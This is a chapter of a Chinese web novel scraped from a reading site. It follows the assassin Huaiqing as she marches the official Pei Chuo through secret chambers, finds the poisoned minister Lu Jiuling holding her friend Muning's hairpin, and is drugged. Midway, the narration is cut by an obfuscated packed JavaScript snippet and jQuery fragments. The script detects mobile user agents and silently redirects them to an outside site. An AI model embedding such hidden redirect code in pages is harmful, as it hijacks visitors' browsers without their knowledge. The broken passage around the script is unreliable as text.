默认冷灰
24号文字
方正启体

38. 变局局迷迷棋棋覆

作者:破霓本书字数:K更新时间:
    重走密道,怀晴并非不担忧裴绰会搞花样,密室机关重重,裴绰占有先机,只是为着慕宁的一丝消息,她甘愿冒险。


    从前,慕宁在鬼公的鞭打下救回她。


    每次刀山血海地回山庄,必有宁宁亲手做的杏花冰酪等着她。


    怀晴已有两年,没有吃到那样甜的杏花冰酪。


    思及此,“手举起来。”怀晴冷道。


    裴绰倒也顺从,高高举起双手。怀晴身边并无趁手的绳索,便解开自己腰带,将裴绰双手死死绑住。


    轻薄的月白纱质添了几分旖旎。


    裴绰挑眉,狭长的凤目美得不似男子,轻声道:“妍妍,你倒很是看重闺房之乐?”


    “少浑话!”怀晴低喝一声。


    “好。”裴绰轻轻笑了。


    “这里面所有密室,都带我走上一遍。”怀晴道:“你走前面。”


    说罢,一手拉住银丝,一手抵住裴绰的腰,娇小的身躯躲在裴绰身后。


    灯影绰绰,密道里时有水滴落下,发出清幽的回声。


    两人一前一后,细细查了密道。


    原来二十八星宿,每一个星宿后都是一个小密室,藏有十八般刀枪棍棒,诸多珍稀药材。一连几个密室,都是堆垒得极高的黄金,灿灿光芒若朝晖。


    “大人,您果真是爱极了这黄金?”


    连开了八道门,均是黄金,看得怀晴忍不住讽刺。


    “自然,这黄金的妙处,你以后便知晓了。”


    裴绰眉目含春,笑道:“等你以后去江南开茶楼,折了本,到时给你一块金砖,便足以余生安度。”


    怀晴挑眉道:“可由不得你说了算。就算眼下,我找人把这黄金搬空了。大人,你不也没辙?”


    裴绰的笑意霎时僵住,半晌,才咬牙切齿道:“小娘子真真贪心啊!”


    两人沉默地走进密室,一连开了十二个星宿后的门,里面竟全是黄金元宝。


    怀晴只觉眉间抽痛,裴绰这厮,到底抽了多少民脂民膏。


    还剩三个密室。


    刚一开门,沈磐仍被铁网缚住,挂在半空,见来人是怀晴裴绰这般情形,一时怔愣:“你们两个,玩儿得什么花样?”


    “闭嘴!”怀晴喝道。


    “最毒便是妇人心!哈哈哈哈哈哈裴绰!你中了她美人计了吧!”


    沈磐竟拍手叫好,狂笑不止:“裴绰啊裴绰,她人是长得美,你也忒管不住你的命|根|子|了吧?啥人,你都敢往家里带啊……”


    “闭嘴!”裴绰盯着沈磐,隐隐有些不耐。


    “你都人为刀俎了,还逞什么威风?”


    沈磐狂笑不止:“哈哈哈哈哈裴绰,被心上人杀死的滋味如何啊?妙,实在是妙!”


    裴绰的脸更黑了。


    他向左大跨一步,左手忽地按住一块青砖。


    寒芒从上而下。


    哔的一声,一只灵巧尖锐的短箭凭空闪现,刺中沈磐的右腿,因速度极快,贯穿小腿骨头,引得沈磐连连叫惨、高声怒骂。


    怀晴手一用力,勒得裴绰脖颈向后仰,忍不住低声呼痛。“多余的动作不要做!”怀晴警告道。


    这密室除了暗箭,恐怕还有其他机关。


    裴绰眸子一暗。


    沈磐捧着血淋淋的左腿,咧嘴笑道:“奸臣该死,分花拂柳也该死,咱们三儿一起死在这里,可好?这密道当做坟茔,当真大得很!”


    裴绰抬眸看铁网中几近癫狂的男子:“疯子。死前仍被蒙在鼓里,亡父亦死得不明不白,这滋味可好?”


    说罢,裴绰被怀晴押着,径直走至下一间密室。


    沈磐的笑声忽地止住了,抓着铁网,“裴绰,你他娘的,给我站住!给我说清楚啊!”


    机关门落下。又回到夜明砂遍地的密室。


    烛火跃动,将两人交缠的影子截成两段。


    一段亮,一段暗,界限分明。


    暗影中,裴绰声音隐忍,忽道:“你为了岷县破庙的跛乞,便要杀我,哪怕知晓我曾是护你周全的大哥哥?手起刀落,你没有丝毫犹豫?”


    “儿时之恩义,早已被十五年光阴冲散了。”怀晴冷冷道:“我如今,只是分花拂柳罢了。”


    裴绰挑眉:“既然儿时恩义已散,你为何要替你那跛乞养父报仇?”


    “你以为,我不知晓他曾卖我于青楼吗?”


    怀晴嘴唇凑过去,少女殷红的唇拂过裴绰耳边:“少自以为是了!”


    裴绰自嘲地笑了一声:“我自以为是?”


    “是!你可知,我多想亲口问他一问,那两个月的细心照拂是作假的么?”


    “他为何要卖我去青楼?他知不知道,我那时以为自己被拍花子的拐走了,夜夜期盼着他能出现救我,哪怕此后随他日日行乞,我也觉得欢喜?”怀晴高声道。


    “十五年了,我不信世间恩义。什么恩情道义,都不过是轻飘飘的一句话。”


    “我一直在寻他,就想问个明白,论个清楚。可裴绰,你偏偏杀了他!”


    “有些债,是该本人来讨的。我的事情,与你何干?”


    怀晴痛斥道:“你以为你替我了结恩怨了?笑话!我更想从九泉下揪出他的魂灵,问个一清二楚!”


    裴绰不语,双目通红地看向她,欲言又止。


    怀晴很快又恢复雪原般的寂然平静:“下一间。”


    仿若方才的陈词激烈,只是一个幻梦。


    裴绰按下刻有第二十八星宿的青砖,整扇星云图缓缓拉开,其间三间草屋,均挂着红灯笼,两侧栽有青厥,从岩砖的缝隙中冒出来,生机勃然。


    竟有一道清泉从石缝中流出,怪不得这密道中时有水滴的声音。


    小桥流水人家,端的一个世外桃源。


    茅屋不大,最中央的是堂屋,东厢房是卧房,西侧是书房。


    怀晴耳力颇佳,屋内有一起伏平缓的呼吸声,像是有人长睡于此。她满腹狐疑,完全躲在裴绰身后:“进去看看。”


    屋内陈设与一般农家别无二致,除了没有农具并织布机。


    怀晴押着裴绰,直入寝屋,便见一个四十余岁的清隽男子躺于床榻,面色惨白,仿佛从未置于阳光之下。


    “他是谁?裴绰,你搞什么鬼?”


    怀晴声音洪亮,却也没吵醒那男子,只见那男子清瘦得只剩皮包骨,愁眉紧锁,似陷入梦魇,嘴里喃喃低语。


    裴绰一瞬不错地望向男子:“他中毒了。”


    “什么毒?”怀晴问。


    “此毒,名唤沉烟。”


    怀晴一愣。她身上亦带此毒。


    月暗云霄,星沉烟水。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521243|170733||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沉烟”之毒,是暗云山庄的秘制毒药。所有刺客、杀手、随臣身上均有此毒。此毒无解,唯有每半年向暗云山庄讨要半枚续命丹,方可活命。


    若无续命丹,不出一月,便命丧黄泉。就连医术独步天下的红灯,历年呕心沥血,也未能研制出解药。


    鬼公子便是用“沉烟”控制了所有大晋旧臣的命脉,使其继续追随于他。无有人敢不从。


    这男子是暗云山庄的人?


    怀晴走近,伸手摸了摸男子的经脉,并无半点练功痕迹,心脉俱损,“沉烟”之毒沁入五脏,药石罔治。


    如今,不过是珍贵药材将养着的一具“活尸”。


    倏然,怀晴的手一凝。


    视线落在男子左手紧握着的玉兰金钗。


    凤钗金亮,玉如凝脂。那是怀晴两年前送给慕宁的生辰礼。


    “分花拂柳”四人均是孤儿,谁都不知晓自己出生于何时。


    那一日,任务归来,四人饮酒言欢,刚巧江南酒楼有一商贩包下了所有雅间,给刚三岁的女儿过生辰。竹影叹了一句:“真羡慕她,知道自己生辰几何……”


    慕宁是四人中年龄最大的,笑意盈盈道:“我们更好,咱们可以挑个黄道吉日,当成自己生辰,岂不更有福气?”


    一番言语大慰人心。四人均是振奋,便约定好了一日,四人生辰一模一样。那一日,互送生辰礼。怀晴收到了竹影送的湖笔,慕宁收到的便是这玉兰金钗。


    那时,慕宁笑道:“若放到寻常人家,都可以给我算作添妆啦!这么贵重……”


    竹影则促狭地看向怀晴:“你这丫头,想要姐夫了直说!快叫我一声姐夫,不就如你愿了?”


    “竹影,你风流到慕姐姐身上了!癞蛤蟆想吃天鹅肉!”怀晴显然不想给竹影面子,果然,竹影气得七窍生烟:“小爷我是京城里独有的风流贵公子,你敢说我癞蛤蟆!”


    那日,慕宁云鬓斜插金钗,模样煞是好看。


    怀晴从未想过,那日的欢愉,永远留在两年前。很快,慕宁便消失得无影无踪。


    “他是谁?”怀晴声音颤抖,双眸通红,灯火摇曳间手勒银丝,仿若取命的白无常。


    这时,男子梦魇中的低语逐渐清晰,“慕宁……宁宁……”


    他在唤慕宁的名字。


    “他是谁?快说!”怀晴捏住裴绰的下巴,向上一抬。


    许是太过用力,裴绰嘴角渗出鲜血,一片猩红落入她月白的指尖,显得妖娆至极。


    裴绰眸光闪过刹那的沉痛。


    四目相对,他再也不是玄女庙那个清正的少年。


    她亦不再是天真的孩童。


    十五年的光阴划过两人清亮的眸底,酝酿成不可言说的黑白分明。


    瞳仁映着神色复杂的彼此。


    裴绰喉结微滚:“他是陆九龄。”


    昭明太子的恩师,前朝重臣,陆九龄。


    慕宁一直寻而不得的人。


    屋内,烛影重重,暗香浮动。


    鼻尖扑入诡异的奇香。怀晴眸光一暗:“裴绰,你使诈!”


    她想要用力勒紧银丝,却连一点力气也无。


    黑暗吞没视野的刹那,怀晴忽然失却了所有重量,如风卷残叶、飘然落下。


    剧痛未至——有人破风而来,凌空截住了这捧枯叶。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)